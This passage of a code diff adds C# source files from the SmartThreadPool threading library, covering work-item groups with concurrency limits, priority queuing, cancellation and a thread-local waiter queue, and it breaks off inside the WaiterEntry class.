return (TResult)_workItemResult.GetResult(timeout, exitContext, cancelWaitHandle, out e);
}
public bool IsCompleted
{
get { return _workItemResult.IsCompleted; }
}
public bool IsCanceled
{
get { return _workItemResult.IsCanceled; }
}
public object State
{
get { return _workItemResult.State; }
}
public bool Cancel()
{
return _workItemResult.Cancel();
}
public bool Cancel(bool abortExecution)
{
return _workItemResult.Cancel(abortExecution);
}
public WorkItemPriority WorkItemPriority
{
get { return _workItemResult.WorkItemPriority; }
}
public TResult Result
{
get { return (TResult)_workItemResult.Result; }
}
public object Exception
{
get { return _workItemResult.Exception; }
}
#region IInternalWorkItemResult Members
public IWorkItemResult GetWorkItemResult()
{
return _workItemResult.GetWorkItemResult();
}
public IWorkItemResult<TRes> GetWorkItemResultT<TRes>()
{
return (IWorkItemResult<TRes>)this;
}
#endregion
#endregion
}
#endregion
}

View File

@@ -0,0 +1,369 @@
using System;
using System.Threading;
using System.Runtime.CompilerServices;
using System.Diagnostics;
namespace Amib.Threading.Internal
{
#region WorkItemsGroup class
/// <summary>
/// Summary description for WorkItemsGroup.
/// </summary>
public class WorkItemsGroup : WorkItemsGroupBase
{
#region Private members
private readonly object _lock = new object();
/// <summary>
/// A reference to the SmartThreadPool instance that created this
/// WorkItemsGroup.
/// </summary>
private readonly SmartThreadPool _stp;
/// <summary>
/// The OnIdle event
/// </summary>
private event WorkItemsGroupIdleHandler _onIdle;
/// <summary>
/// A flag to indicate if the Work Items Group is now suspended.
/// </summary>
private bool _isSuspended;
/// <summary>
/// Defines how many work items of this WorkItemsGroup can run at once.
/// </summary>
private int _concurrency;
/// <summary>
/// Priority queue to hold work items before they are passed
/// to the SmartThreadPool.
/// </summary>
private readonly PriorityQueue _workItemsQueue;
/// <summary>
/// Indicate how many work items are waiting in the SmartThreadPool
/// queue.
/// This value is used to apply the concurrency.
/// </summary>
private int _workItemsInStpQueue;
/// <summary>
/// Indicate how many work items are currently running in the SmartThreadPool.
/// This value is used with the Cancel, to calculate if we can send new
/// work items to the STP.
/// </summary>
private int _workItemsExecutingInStp = 0;
/// <summary>
/// WorkItemsGroup start information
/// </summary>
private readonly WIGStartInfo _workItemsGroupStartInfo;
/// <summary>
/// Signaled when all of the WorkItemsGroup's work item completed.
/// </summary>
//private readonly ManualResetEvent _isIdleWaitHandle = new ManualResetEvent(true);
private readonly ManualResetEvent _isIdleWaitHandle = EventWaitHandleFactory.CreateManualResetEvent(true);
/// <summary>
/// A common object for all the work items that this work items group
/// generate so we can mark them to cancel in O(1)
/// </summary>
private CanceledWorkItemsGroup _canceledWorkItemsGroup = new CanceledWorkItemsGroup();
#endregion
#region Construction
public WorkItemsGroup(
SmartThreadPool stp,
int concurrency,
WIGStartInfo wigStartInfo)
{
if (concurrency <= 0)
{
throw new ArgumentOutOfRangeException(
"concurrency",
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
concurrency,
#endif
"concurrency must be greater than zero");
}
_stp = stp;
_concurrency = concurrency;
_workItemsGroupStartInfo = new WIGStartInfo(wigStartInfo).AsReadOnly();
_workItemsQueue = new PriorityQueue();
Name = "WorkItemsGroup";
// The _workItemsInStpQueue gets the number of currently executing work items,
// because once a work item is executing, it cannot be cancelled.
_workItemsInStpQueue = _workItemsExecutingInStp;
_isSuspended = _workItemsGroupStartInfo.StartSuspended;
}
#endregion
#region WorkItemsGroupBase Overrides
public override int Concurrency
{
get { return _concurrency; }
set
{
Debug.Assert(value > 0);
int diff = value - _concurrency;
_concurrency = value;
if (diff > 0)
{
EnqueueToSTPNextNWorkItem(diff);
}
}
}
public override int InUseThreads
{
get
{
return _workItemsExecutingInStp;
}
}
public override int WaitingCallbacks
{
get { return _workItemsQueue.Count; }
}
public override object[] GetStates()
{
lock (_lock)
{
object[] states = new object[_workItemsQueue.Count];
int i = 0;
foreach (WorkItem workItem in _workItemsQueue)
{
states[i] = workItem.GetWorkItemResult().State;
++i;
}
return states;
}
}
/// <summary>
/// WorkItemsGroup start information
/// </summary>
public override WIGStartInfo WIGStartInfo
{
get { return _workItemsGroupStartInfo; }
}
/// <summary>
/// Start the Work Items Group if it was started suspended
/// </summary>
public override void Start()
{
// If the Work Items Group already started then quit
if (!_isSuspended)
{
return;
}
_isSuspended = false;
EnqueueToSTPNextNWorkItem(Math.Min(_workItemsQueue.Count, _concurrency));
}
public override void Cancel(bool abortExecution)
{
lock (_lock)
{
_canceledWorkItemsGroup.IsCanceled = true;
_workItemsQueue.Clear();
_workItemsInStpQueue = 0;
_canceledWorkItemsGroup = new CanceledWorkItemsGroup();
}
if (abortExecution)
{
_stp.CancelAbortWorkItemsGroup(this);
}
}
/// <summary>
/// Wait for the thread pool to be idle
/// </summary>
public override bool WaitForIdle(int millisecondsTimeout)
{
SmartThreadPool.ValidateWorkItemsGroupWaitForIdle(this);
return STPEventWaitHandle.WaitOne(_isIdleWaitHandle, millisecondsTimeout, false);
}
public override event WorkItemsGroupIdleHandler OnIdle
{
add { _onIdle += value; }
remove { _onIdle -= value; }
}
#endregion
#region Private methods
private void RegisterToWorkItemCompletion(IWorkItemResult wir)
{
IInternalWorkItemResult iwir = (IInternalWorkItemResult)wir;
iwir.OnWorkItemStarted += OnWorkItemStartedCallback;
iwir.OnWorkItemCompleted += OnWorkItemCompletedCallback;
}
public void OnSTPIsStarting()
{
if (_isSuspended)
{
return;
}
EnqueueToSTPNextNWorkItem(_concurrency);
}
public void EnqueueToSTPNextNWorkItem(int count)
{
for (int i = 0; i < count; ++i)
{
EnqueueToSTPNextWorkItem(null, false);
}
}
private object FireOnIdle(object state)
{
FireOnIdleImpl(_onIdle);
return null;
}
[MethodImpl(MethodImplOptions.NoInlining)]
private void FireOnIdleImpl(WorkItemsGroupIdleHandler onIdle)
{
if(null == onIdle)
{
return;
}
Delegate[] delegates = onIdle.GetInvocationList();
foreach(WorkItemsGroupIdleHandler eh in delegates)
{
try
{
eh(this);
}
catch { } // Suppress exceptions
}
}
private void OnWorkItemStartedCallback(WorkItem workItem)
{
lock(_lock)
{
++_workItemsExecutingInStp;
}
}
private void OnWorkItemCompletedCallback(WorkItem workItem)
{
EnqueueToSTPNextWorkItem(null, true);
}
internal override void Enqueue(WorkItem workItem)
{
EnqueueToSTPNextWorkItem(workItem);
}
private void EnqueueToSTPNextWorkItem(WorkItem workItem)
{
EnqueueToSTPNextWorkItem(workItem, false);
}
private void EnqueueToSTPNextWorkItem(WorkItem workItem, bool decrementWorkItemsInStpQueue)
{
lock(_lock)
{
// Got here from OnWorkItemCompletedCallback()
if (decrementWorkItemsInStpQueue)
{
--_workItemsInStpQueue;
if(_workItemsInStpQueue < 0)
{
_workItemsInStpQueue = 0;
}
--_workItemsExecutingInStp;
if(_workItemsExecutingInStp < 0)
{
_workItemsExecutingInStp = 0;
}
}
// If the work item is not null then enqueue it
if (null != workItem)
{
workItem.CanceledWorkItemsGroup = _canceledWorkItemsGroup;
RegisterToWorkItemCompletion(workItem.GetWorkItemResult());
_workItemsQueue.Enqueue(workItem);
//_stp.IncrementWorkItemsCount();
if ((1 == _workItemsQueue.Count) &&
(0 == _workItemsInStpQueue))
{
_stp.RegisterWorkItemsGroup(this);
IsIdle = false;
_isIdleWaitHandle.Reset();
}
}
// If the work items queue of the group is empty than quit
if (0 == _workItemsQueue.Count)
{
if (0 == _workItemsInStpQueue)
{
_stp.UnregisterWorkItemsGroup(this);
IsIdle = true;
_isIdleWaitHandle.Set();
if (decrementWorkItemsInStpQueue && _onIdle != null && _onIdle.GetInvocationList().Length > 0)
{
_stp.QueueWorkItem(new WorkItemCallback(FireOnIdle));
}
}
return;
}
if (!_isSuspended)
{
if (_workItemsInStpQueue < _concurrency)
{
WorkItem nextWorkItem = _workItemsQueue.Dequeue() as WorkItem;
try
{
_stp.Enqueue(nextWorkItem);
}
catch (ObjectDisposedException e)
{
e.GetHashCode();
// The STP has been shutdown
}
++_workItemsInStpQueue;
}
}
}
}
#endregion
}
#endregion
}

View File

@@ -0,0 +1,449 @@
using System;
using System.Threading;
namespace Amib.Threading.Internal
{
public abstract class WorkItemsGroupBase : IWorkItemsGroup
{
#region Private Fields
/// <summary>
/// Contains the name of this instance of SmartThreadPool.
/// Can be changed by the user.
/// </summary>
private string _name = "WorkItemsGroupBase";
public WorkItemsGroupBase()
{
IsIdle = true;
}
#endregion
#region IWorkItemsGroup Members
#region Public Methods
/// <summary>
/// Get/Set the name of the SmartThreadPool/WorkItemsGroup instance
/// </summary>
public string Name
{
get { return _name; }
set { _name = value; }
}
#endregion
#region Abstract Methods
public abstract int Concurrency { get; set; }
public abstract int WaitingCallbacks { get; }
public abstract int InUseThreads { get; }
public abstract object[] GetStates();
public abstract WIGStartInfo WIGStartInfo { get; }
public abstract void Start();
public abstract void Cancel(bool abortExecution);
public abstract bool WaitForIdle(int millisecondsTimeout);
public abstract event WorkItemsGroupIdleHandler OnIdle;
internal abstract void Enqueue(WorkItem workItem);
internal virtual void PreQueueWorkItem() { }
#endregion
#region Common Base Methods
/// <summary>
/// Cancel all the work items.
/// Same as Cancel(false)
/// </summary>
public virtual void Cancel()
{
Cancel(false);
}
/// <summary>
/// Wait for the SmartThreadPool/WorkItemsGroup to be idle
/// </summary>
public void WaitForIdle()
{
WaitForIdle(Timeout.Infinite);
}
/// <summary>
/// Wait for the SmartThreadPool/WorkItemsGroup to be idle
/// </summary>
public bool WaitForIdle(TimeSpan timeout)
{
return WaitForIdle((int)timeout.TotalMilliseconds);
}
/// <summary>
/// IsIdle is true when there are no work items running or queued.
/// </summary>
public bool IsIdle { get; protected set; }
#endregion
#region QueueWorkItem
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(WorkItemCallback callback)
{
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="workItemPriority">The priority of the work item</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(WorkItemCallback callback, WorkItemPriority workItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, workItemPriority);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="workItemInfo">Work item info</param>
/// <param name="callback">A callback to execute</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(WorkItemInfo workItemInfo, WorkItemCallback callback)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, workItemInfo, callback);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state)
{
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, state);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state, WorkItemPriority workItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, state, workItemPriority);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="workItemInfo">Work item information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(WorkItemInfo workItemInfo, WorkItemCallback callback, object state)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, workItemInfo, callback, state);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, state, postExecuteWorkItemCallback);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback,
WorkItemPriority workItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, state, postExecuteWorkItemCallback, workItemPriority);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="callToPostExecute">Indicates on which cases to call to the post execute callback</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback,
CallToPostExecute callToPostExecute)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, state, postExecuteWorkItemCallback, callToPostExecute);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="callToPostExecute">Indicates on which cases to call to the post execute callback</param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item result</returns>
public IWorkItemResult QueueWorkItem(
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback,
CallToPostExecute callToPostExecute,
WorkItemPriority workItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(this, WIGStartInfo, callback, state, postExecuteWorkItemCallback, callToPostExecute, workItemPriority);
Enqueue(workItem);
return workItem.GetWorkItemResult();
}
#endregion
#region QueueWorkItem(Action<...>)
public IWorkItemResult QueueWorkItem(Action action, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem ();
WorkItem workItem = WorkItemFactory.CreateWorkItem (
this,
WIGStartInfo,
delegate
{
action.Invoke ();
return null;
}, priority);
Enqueue (workItem);
return workItem.GetWorkItemResult ();
}
public IWorkItemResult QueueWorkItem<T>(Action<T> action, T arg, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem ();
WorkItem workItem = WorkItemFactory.CreateWorkItem (
this,
WIGStartInfo,
state =>
{
action.Invoke (arg);
return null;
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg } : null, priority);
Enqueue (workItem);
return workItem.GetWorkItemResult ();
}
public IWorkItemResult QueueWorkItem<T1, T2>(Action<T1, T2> action, T1 arg1, T2 arg2, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem ();
WorkItem workItem = WorkItemFactory.CreateWorkItem (
this,
WIGStartInfo,
state =>
{
action.Invoke (arg1, arg2);
return null;
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg1, arg2 } : null, priority);
Enqueue (workItem);
return workItem.GetWorkItemResult ();
}
public IWorkItemResult QueueWorkItem<T1, T2, T3>(Action<T1, T2, T3> action, T1 arg1, T2 arg2, T3 arg3, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem ();
WorkItem workItem = WorkItemFactory.CreateWorkItem (
this,
WIGStartInfo,
state =>
{
action.Invoke (arg1, arg2, arg3);
return null;
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg1, arg2, arg3 } : null, priority);
Enqueue (workItem);
return workItem.GetWorkItemResult ();
}
public IWorkItemResult QueueWorkItem<T1, T2, T3, T4> (
Action<T1, T2, T3, T4> action, T1 arg1, T2 arg2, T3 arg3, T4 arg4, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem ();
WorkItem workItem = WorkItemFactory.CreateWorkItem (
this,
WIGStartInfo,
state =>
{
action.Invoke (arg1, arg2, arg3, arg4);
return null;
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg1, arg2, arg3, arg4 } : null, priority);
Enqueue (workItem);
return workItem.GetWorkItemResult ();
}
#endregion
#region QueueWorkItem(Func<...>)
public IWorkItemResult<TResult> QueueWorkItem<TResult>(Func<TResult> func, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(
this,
WIGStartInfo,
state =>
{
return func.Invoke();
}, priority);
Enqueue(workItem);
return new WorkItemResultTWrapper<TResult>(workItem.GetWorkItemResult());
}
public IWorkItemResult<TResult> QueueWorkItem<T, TResult>(Func<T, TResult> func, T arg, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(
this,
WIGStartInfo,
state =>
{
return func.Invoke(arg);
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg } : null,
priority);
Enqueue(workItem);
return new WorkItemResultTWrapper<TResult>(workItem.GetWorkItemResult());
}
public IWorkItemResult<TResult> QueueWorkItem<T1, T2, TResult>(Func<T1, T2, TResult> func, T1 arg1, T2 arg2, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(
this,
WIGStartInfo,
state =>
{
return func.Invoke(arg1, arg2);
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg1, arg2 } : null,
priority);
Enqueue(workItem);
return new WorkItemResultTWrapper<TResult>(workItem.GetWorkItemResult());
}
public IWorkItemResult<TResult> QueueWorkItem<T1, T2, T3, TResult>(
Func<T1, T2, T3, TResult> func, T1 arg1, T2 arg2, T3 arg3, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(
this,
WIGStartInfo,
state =>
{
return func.Invoke(arg1, arg2, arg3);
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg1, arg2, arg3 } : null,
priority);
Enqueue(workItem);
return new WorkItemResultTWrapper<TResult>(workItem.GetWorkItemResult());
}
public IWorkItemResult<TResult> QueueWorkItem<T1, T2, T3, T4, TResult>(
Func<T1, T2, T3, T4, TResult> func, T1 arg1, T2 arg2, T3 arg3, T4 arg4, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority)
{
PreQueueWorkItem();
WorkItem workItem = WorkItemFactory.CreateWorkItem(
this,
WIGStartInfo,
state =>
{
return func.Invoke(arg1, arg2, arg3, arg4);
},
WIGStartInfo.FillStateWithArgs ? new object[] { arg1, arg2, arg3, arg4 } : null,
priority);
Enqueue(workItem);
return new WorkItemResultTWrapper<TResult>(workItem.GetWorkItemResult());
}
#endregion
#endregion
}
}

View File

@@ -0,0 +1,645 @@
using System;
using System.Collections.Generic;
using System.Threading;
namespace Amib.Threading.Internal
{
#region WorkItemsQueue class
/// <summary>
/// WorkItemsQueue class.
/// </summary>
public class WorkItemsQueue : IDisposable
{
#region Member variables
/// <summary>
/// Waiters queue (implemented as stack).
/// </summary>
private readonly WaiterEntry _headWaiterEntry = new WaiterEntry();
/// <summary>
/// Waiters count
/// </summary>
private int _waitersCount = 0;
/// <summary>
/// Work items queue
/// </summary>
private readonly PriorityQueue _workItems = new PriorityQueue();
/// <summary>
/// Indicate that work items are allowed to be queued
/// </summary>
private bool _isWorkItemsQueueActive = true;
#if (WINDOWS_PHONE)
private static readonly Dictionary<int, WaiterEntry> _waiterEntries = new Dictionary<int, WaiterEntry>();
#elif (_WINDOWS_CE)
private static LocalDataStoreSlot _waiterEntrySlot = Thread.AllocateDataSlot();
#else
[ThreadStatic]
private static WaiterEntry _waiterEntry;
#endif
/// <summary>
/// Each thread in the thread pool keeps its own waiter entry.
/// </summary>
private static WaiterEntry CurrentWaiterEntry
{
#if (WINDOWS_PHONE)
get
{
lock (_waiterEntries)
{
WaiterEntry waiterEntry;
if (_waiterEntries.TryGetValue(Thread.CurrentThread.ManagedThreadId, out waiterEntry))
{
return waiterEntry;
}
}
return null;
}
set
{
lock (_waiterEntries)
{
_waiterEntries[Thread.CurrentThread.ManagedThreadId] = value;
}
}
#elif (_WINDOWS_CE)
get
{
return Thread.GetData(_waiterEntrySlot) as WaiterEntry;
}
set
{
Thread.SetData(_waiterEntrySlot, value);
}
#else
get
{
return _waiterEntry;
}
set
{
_waiterEntry = value;
}
#endif
}
/// <summary>
/// A flag that indicates if the WorkItemsQueue has been disposed.
/// </summary>
private bool _isDisposed = false;
#endregion
#region Public properties
/// <summary>
/// Returns the current number of work items in the queue
/// </summary>
public int Count
{
get
{
return _workItems.Count;
}
}
/// <summary>
/// Returns the current number of waiters
/// </summary>
public int WaitersCount
{
get
{
return _waitersCount;
}
}
#endregion
#region Public methods
/// <summary>
/// Enqueue a work item to the queue.
/// </summary>
public bool EnqueueWorkItem(WorkItem workItem)
{
// A work item cannot be null, since null is used in the
// WaitForWorkItem() method to indicate timeout or cancel
if (null == workItem)
{
throw new ArgumentNullException("workItem" , "workItem cannot be null");
}
bool enqueue = true;
// First check if there is a waiter waiting for work item. During
// the check, timed out waiters are ignored. If there is no
// waiter then the work item is queued.
lock(this)
{
ValidateNotDisposed();
if (!_isWorkItemsQueueActive)
{
return false;
}
while(_waitersCount > 0)
{
// Dequeue a waiter.
WaiterEntry waiterEntry = PopWaiter();
// Signal the waiter. On success break the loop
if (waiterEntry.Signal(workItem))
{
enqueue = false;
break;
}
}
if (enqueue)
{
// Enqueue the work item
_workItems.Enqueue(workItem);
}
}
return true;
}
/// <summary>
/// Waits for a work item or exits on timeout or cancel
/// </summary>
/// <param name="millisecondsTimeout">Timeout in milliseconds</param>
/// <param name="cancelEvent">Cancel wait handle</param>
/// <returns>Returns true if the resource was granted</returns>
public WorkItem DequeueWorkItem(
int millisecondsTimeout,
WaitHandle cancelEvent)
{
// This method cause the caller to wait for a work item.
// If there is at least one waiting work item then the
// method returns immidiately with it.
//
// If there are no waiting work items then the caller
// is queued between other waiters for a work item to arrive.
//
// If a work item didn't come within millisecondsTimeout or
// the user canceled the wait by signaling the cancelEvent
// then the method returns null to indicate that the caller
// didn't get a work item.
WaiterEntry waiterEntry;
WorkItem workItem = null;
lock (this)
{
ValidateNotDisposed();
// If there are waiting work items then take one and return.
if (_workItems.Count > 0)
{
workItem = _workItems.Dequeue() as WorkItem;
return workItem;
}
// No waiting work items ...
// Get the waiter entry for the waiters queue
waiterEntry = GetThreadWaiterEntry();
// Put the waiter with the other waiters
PushWaiter(waiterEntry);
}
// Prepare array of wait handle for the WaitHandle.WaitAny()
WaitHandle [] waitHandles = new WaitHandle[] {
waiterEntry.WaitHandle,
cancelEvent };
// Wait for an available resource, cancel event, or timeout.
// During the wait we are supposes to exit the synchronization
// domain. (Placing true as the third argument of the WaitAny())
// It just doesn't work, I don't know why, so I have two lock(this)
// statments instead of one.
int index = STPEventWaitHandle.WaitAny(
waitHandles,
millisecondsTimeout,
true);
lock(this)
{
// success is true if it got a work item.
bool success = (0 == index);
// The timeout variable is used only for readability.
// (We treat cancel as timeout)
bool timeout = !success;
// On timeout update the waiterEntry that it is timed out
if (timeout)
{
// The Timeout() fails if the waiter has already been signaled
timeout = waiterEntry.Timeout();
// On timeout remove the waiter from the queue.
// Note that the complexity is O(1).
if(timeout)
{
RemoveWaiter(waiterEntry, false);
}
// Again readability
success = !timeout;
}
// On success return the work item
if (success)
{
workItem = waiterEntry.WorkItem;
if (null == workItem)
{
workItem = _workItems.Dequeue() as WorkItem;
}
}
}
// On failure return null.
return workItem;
}
/// <summary>
/// Cleanup the work items queue, hence no more work
/// items are allowed to be queue
/// </summary>
private void Cleanup()
{
lock(this)
{
// Deactivate only once
if (!_isWorkItemsQueueActive)
{
return;
}
// Don't queue more work items
_isWorkItemsQueueActive = false;
foreach(WorkItem workItem in _workItems)
{
workItem.DisposeOfState();
}
// Clear the work items that are already queued
_workItems.Clear();
// Note:
// I don't iterate over the queue and dispose of work items's states,
// since if a work item has a state object that is still in use in the
// application then I must not dispose it.
// Tell the waiters that they were timed out.
// It won't signal them to exit, but to ignore their
// next work item.
while(_waitersCount > 0)
{
WaiterEntry waiterEntry = PopWaiter();
waiterEntry.Timeout();
}
}
}
public object[] GetStates()
{
lock (this)
{
object[] states = new object[_workItems.Count];
int i = 0;
foreach (WorkItem workItem in _workItems)
{
states[i] = workItem.GetWorkItemResult().State;
++i;
}
return states;
}
}
#endregion
#region Private methods
/// <summary>
/// Returns the WaiterEntry of the current thread
/// </summary>
/// <returns></returns>
/// In order to avoid creation and destuction of WaiterEntry
/// objects each thread has its own WaiterEntry object.
private static WaiterEntry GetThreadWaiterEntry()
{
if (null == CurrentWaiterEntry)
{
CurrentWaiterEntry = new WaiterEntry();
}
CurrentWaiterEntry.Reset();
return CurrentWaiterEntry;
}
#region Waiters stack methods
/// <summary>
/// Push a new waiter into the waiter's stack
/// </summary>
/// <param name="newWaiterEntry">A waiter to put in the stack</param>
public void PushWaiter(WaiterEntry newWaiterEntry)
{
// Remove the waiter if it is already in the stack and
// update waiter's count as needed
RemoveWaiter(newWaiterEntry, false);
// If the stack is empty then newWaiterEntry is the new head of the stack
if (null == _headWaiterEntry._nextWaiterEntry)
{
_headWaiterEntry._nextWaiterEntry = newWaiterEntry;
newWaiterEntry._prevWaiterEntry = _headWaiterEntry;
}
// If the stack is not empty then put newWaiterEntry as the new head
// of the stack.
else
{
// Save the old first waiter entry
WaiterEntry oldFirstWaiterEntry = _headWaiterEntry._nextWaiterEntry;
// Update the links
_headWaiterEntry._nextWaiterEntry = newWaiterEntry;
newWaiterEntry._nextWaiterEntry = oldFirstWaiterEntry;
newWaiterEntry._prevWaiterEntry = _headWaiterEntry;
oldFirstWaiterEntry._prevWaiterEntry = newWaiterEntry;
}
// Increment the number of waiters
++_waitersCount;
}
/// <summary>
/// Pop a waiter from the waiter's stack
/// </summary>
/// <returns>Returns the first waiter in the stack</returns>
private WaiterEntry PopWaiter()
{
// Store the current stack head
WaiterEntry oldFirstWaiterEntry = _headWaiterEntry._nextWaiterEntry;
// Store the new stack head
WaiterEntry newHeadWaiterEntry = oldFirstWaiterEntry._nextWaiterEntry;
// Update the old stack head list links and decrement the number
// waiters.
RemoveWaiter(oldFirstWaiterEntry, true);
// Update the new stack head
_headWaiterEntry._nextWaiterEntry = newHeadWaiterEntry;
if (null != newHeadWaiterEntry)
{
newHeadWaiterEntry._prevWaiterEntry = _headWaiterEntry;
}
// Return the old stack head
return oldFirstWaiterEntry;
}
/// <summary>
/// Remove a waiter from the stack
/// </summary>
/// <param name="waiterEntry">A waiter entry to remove</param>
/// <param name="popDecrement">If true the waiter count is always decremented</param>
private void RemoveWaiter(WaiterEntry waiterEntry, bool popDecrement)
{
// Store the prev entry in the list
WaiterEntry prevWaiterEntry = waiterEntry._prevWaiterEntry;
// Store the next entry in the list
WaiterEntry nextWaiterEntry = waiterEntry._nextWaiterEntry;
// A flag to indicate if we need to decrement the waiters count.
// If we got here from PopWaiter then we must decrement.
// If we got here from PushWaiter then we decrement only if
// the waiter was already in the stack.
bool decrementCounter = popDecrement;
// Null the waiter's entry links
waiterEntry._prevWaiterEntry = null;
waiterEntry._nextWaiterEntry = null;
// If the waiter entry had a prev link then update it.
// It also means that the waiter is already in the list and we
// need to decrement the waiters count.
if (null != prevWaiterEntry)
{
prevWaiterEntry._nextWaiterEntry = nextWaiterEntry;
decrementCounter = true;
}
// If the waiter entry had a next link then update it.
// It also means that the waiter is already in the list and we
// need to decrement the waiters count.
if (null != nextWaiterEntry)
{
nextWaiterEntry._prevWaiterEntry = prevWaiterEntry;
decrementCounter = true;
}
// Decrement the waiters count if needed
if (decrementCounter)
{
--_waitersCount;
}
}
#endregion
#endregion
#region WaiterEntry class
// A waiter entry in the _waiters queue.
public sealed class WaiterEntry : IDisposable
{
#region Member variables
/// <summary>
/// Event to signal the waiter that it got the work item.
/// </summary>
//private AutoResetEvent _waitHandle = new AutoResetEvent(false);
private AutoResetEvent _waitHandle = EventWaitHandleFactory.CreateAutoResetEvent();
/// <summary>
/// Flag to know if this waiter already quited from the queue
/// because of a timeout.
/// </summary>
private bool _isTimedout = false;
/// <summary>
/// Flag to know if the waiter was signaled and got a work item.
/// </summary>
private bool _isSignaled = false;
/// <summary>
/// A work item that passed directly to the waiter withou going
/// through the queue
/// </summary>
private WorkItem _workItem = null;
private bool _isDisposed = false;
